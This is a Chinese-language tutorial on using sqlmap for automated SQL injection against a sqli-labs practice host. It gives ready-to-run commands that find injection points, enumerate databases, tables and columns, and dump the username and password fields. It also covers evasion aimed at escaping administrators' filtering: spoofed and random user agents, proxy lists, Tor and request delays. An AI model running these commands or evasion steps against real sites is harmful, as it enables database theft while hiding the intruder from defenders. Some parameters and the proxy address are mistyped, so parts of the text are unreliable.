sql注入————sqlmap自动化注入
一、sqlmap介绍
1.1 sqlmap支持的5中注入类型
1.2 sqlmap目录介绍
1.3 sqlmap常用参数
sqlmap是一款免费开源的sql自动化注入工具
官网下载地址:http://sqlmap.org/
1.1 sqlmap支持的5中注入类型
1.布尔盲注检测
2.时间盲注检测
3.错误注入检测
4.union注入检测
5.堆叠查询检测
1.2 sqlmap目录介绍
extra ————额外功能。如:发出声响、运行cmd、安全执行、shellcode等
lib ————代码库 包含了五种注入类型的请求参数、提权操作等
plugins ————插件
shell ————包含了注入成功后的9中shell远程连接命令执行和数据库管理
txt ————存放的字典。如:用户浏览器的代理、表、列、关键词等
sqlmap.py ————主程序
sqlmapapi.py ————sqlmap的api文件。可以将sqlmap集成到其他平台
1.3 sqlmap常用参数
–version ————#查看版本信息
-h ————#查看常用功能参数
-hh ————#查看所有参数
-v ————#显示详细信息,一共7级,从0-6,默认是1,数字越大,越详细
Target —————#制定目标
-d —————#直接连接数据库侦听端口,类似于把自己当一个客户端来连接
-u —————#指定url扫描,但url必须存在查询参数。如:xxx.php?id=1
-l —————#指定logfile文件进行扫描,可以结合bp把访问的几率爆出成一个log文件,sqlmap直接加载log文件进行扫描
-m —————#扫描多个url,把多个url保存成一个文本文件,-m加载扫描
-r —————#把http的请求头、body保存成一个文件,同一交个sqlmap。sqlmap对里面的内容进行拼接请求体
–timeout —————#指定超时时间
–retries —————#指定重试次数
–skip-urlencode —————#不进行url加密
二、sqlmap常用探测方式
2.1 探测单个目标
2.2 探测多个目标
2.3 从文件加载http请求进行探测
2.4 从burpsuite日志进行探测
2.5 指定探测类型
2.6 枚举数据库信息
2.1 探测单个目标
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1"
参数指南:
-u ————指定url
2.2 探测多个目标
sqlmap -m urls.txt --dbs --users --batch
参数指南:
-m ———— 指定多个编写了多个url的文件名
-dbs ———— 查询数据库
-users ———— 查询用户
–batch ———— 不使用交互,一切使用默认配置
- 将多个url编写到文件里
- 执行
sqlmap -m urls.txt --dbs --users
(要查询什么内容就指定什么参数)
2.3 从文件加载http请求进行探测
-r ———— 指定http请求文件
- 浏览器打开http://192.168.0.63/sqli-labs/Less-10/,并输入账号和密码(admin,admin)提交。
- 打开bp的代理拦截请求
- 回到浏览器刷新页面(抓取登陆以后存在的cookie)
- vim cookie.txt 把http头信息粘贴进去,并在cookie后面添加
*
保存退出
- 执行命令
sqlmap -r cookie.txt --level 3 --batch --dbs
2.4 从burpsuite日志进行探测
-l ———— 指定日志目录扫描
- 开启bp请求日志记录
- 然后利用bp多拦截几个网页,log-bp.txt里就有了日志
- 指定日志文件进行注入
sqlmap -l log-bp.txt --dbs --level 3 --batch
2.5 指定探测类型
–technique=B 指定sql注入类型。sqlmap中的注入类型有BEUSTQ。默认是B。
- B:Boolean布尔盲注
- T:Time时间盲注
- E:Error错误注入
- U:Union联合注入
- S:多语句注入
- Q:内联注入
例:sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --technique=B
2.6 枚举数据库信息
--dbs ———— 爆库
--tables ———— 爆表
--colunms ———— 爆字段
--dump ———— 爆数据
-D ———— 指定数据库
-T ———— 指定表
-C ———— 指定字段
1.判断注入点
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch
2. 爆库
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch --dbs
3. 爆表
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security --tables
4. 爆字段
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users --columns
5. 爆数据
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump
或者
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -columns --dump
三、sqlmap请求参数
3.1 默认的请求参数
- 打开wireshark关闭混杂模式进行抓包(只接收自己的包),过滤器:ip.addr==192.168.0.63
- 执行探测任务
aaa@qq.com:~#sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --batch
- 打开wireshark停止抓包,查看抓取数据。
发现User-agent:sqlmap/1.3#stable(http://sqlmap.org)\rin 上面有sqlmap的标记,网络管理员可以通过这些特征对我们的访问进行过滤。
user-agent是什么呢?
user-agent中文名是用户代理,检测UA,是一个特殊字符串头,有了他服务器才能识别客户端的操作系统及版本、CPU类型、浏览器版本、语言、插件等信息。
3.2 修改默认请求参数
为了不让网管对我们的访问进行过滤,我们需要修改请求参数。
方法一: 手动指定请求参数
利用 --user-agent=" "
来手动指定请求参数
aaa@qq.com:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch
方法二:自动指定请求参数
利用 --random-agent
来随机指定请求参数
aaa@qq.com:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --random-agent --batch
测试:
这样就没有ok了
3.3 使用代理进行探测
在sqlmap探测的时候怎么才能不暴露我们的真是ip呢?这个时候就要使用代理在进行探测了。
--proxy="代理地址" ———— 单个代理地址
--proxy-file= 代理地址文件路径 ———— 多个代理地址
--delay ———— 指定间隔延时时间。防止ip被屏蔽
免费的代理地址 http://www.kuaidaili.com/free/inha/
单个地址代理sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy="127.78.79.150.8081" --delay 1 --random-agent --batch
注: --delay 1
———— 表示探测延时1s,防止过快的探测速度导致网站屏蔽当前ip地址。
多个地址代理
创建代理文件proxy.txt,我这里创在root下sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy-file= /root/proxy.txt --delay 1 --random-agent --batch
tor匿名代理
使用以上地址代理,虽然能尽量避免服务器对我们的*,但不能完全匿名。使用tor就可以完全匿名。
具体步骤如下:
需要先使用代理访问 tor 网络然后在 sqlmap 中配置 tor 代理。
配置方法:--tor --tor-type 类型一般选择 socks5,然后在 sqlmap 上使用 --check-tor 选项迚行
检查
3.4 忽略未验证错误
参数:--ignore-401
———— 忽略未验证错误
原因:
很多存在http认证的网站会提示我们输入用户名密码,如果没输就会返回401错误,所以要忽略未验证错误。
3.5 sqlmap安全模式
如果执行了一定数量的丌成功请求,则 Web 应用程序戒其间的检查技术会破坏会话。这可能发生在
sqlmap 的检测阶段戒利用任何盲 SQL 注入类型时。原因是 SQL 有效负载不一定返回输出,因此可能被
应用程序会话管理戒检查技术检测到从而破坏会话。
–safe-url #测试期间经常访问的 URL 地址。
–safe-post #HTTP POST 数据发送到给定的安全 URL 地址。
–safe-req #从文件加载并使用安全的 HTTP 请求。
–safe-freq #在两次访问给定安全位置之间测试请求。
sqlmap 将访问每个预定丿数量的请求,而丌对 safe url 执行任何类型的注入。
3.6 关闭URL编码
参数:--skip-urlencode
———— 这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求数
据以非编码方式迚行传输。
四、sqlmap常用参数优化
-
配置持久化连接
参数:--keep-alive
-
设置空连接
参数:--null-connection
———— 该参数用于head方式发生http请求时,设置空连接可以不接受服务器返回来body信息,进而减少了数据包大小,提高了盲注探测性能。 -
配置多线程
参数:--thread
———— 默认线程为3,最大为10.目标服务器不存在访问限制且性能较好的情况下可以多设几个线程。 -
持久化+空连接+多线程
参数:-o
———— 该参数绑定率持久化连接、空连接、多线程这三个参数,线程默认数是3
5.预测输出算法
参数:--predict-output
———— 该参数使用推理算法,用于对检索到的值的字符迚行顺序统计预测,根据
sqlmap 工作目录下的 txt/common-outputs.txt 结合当前枚丼到的数据给出的预测,从而提升探测效
率,当然如果有遇到常见的名称也可以手劢添加到 txt/common-outputs.txt 文件中
请注意,此开关不–threads 开关不兼容。
知识来源于网络。
下一篇: SQL练习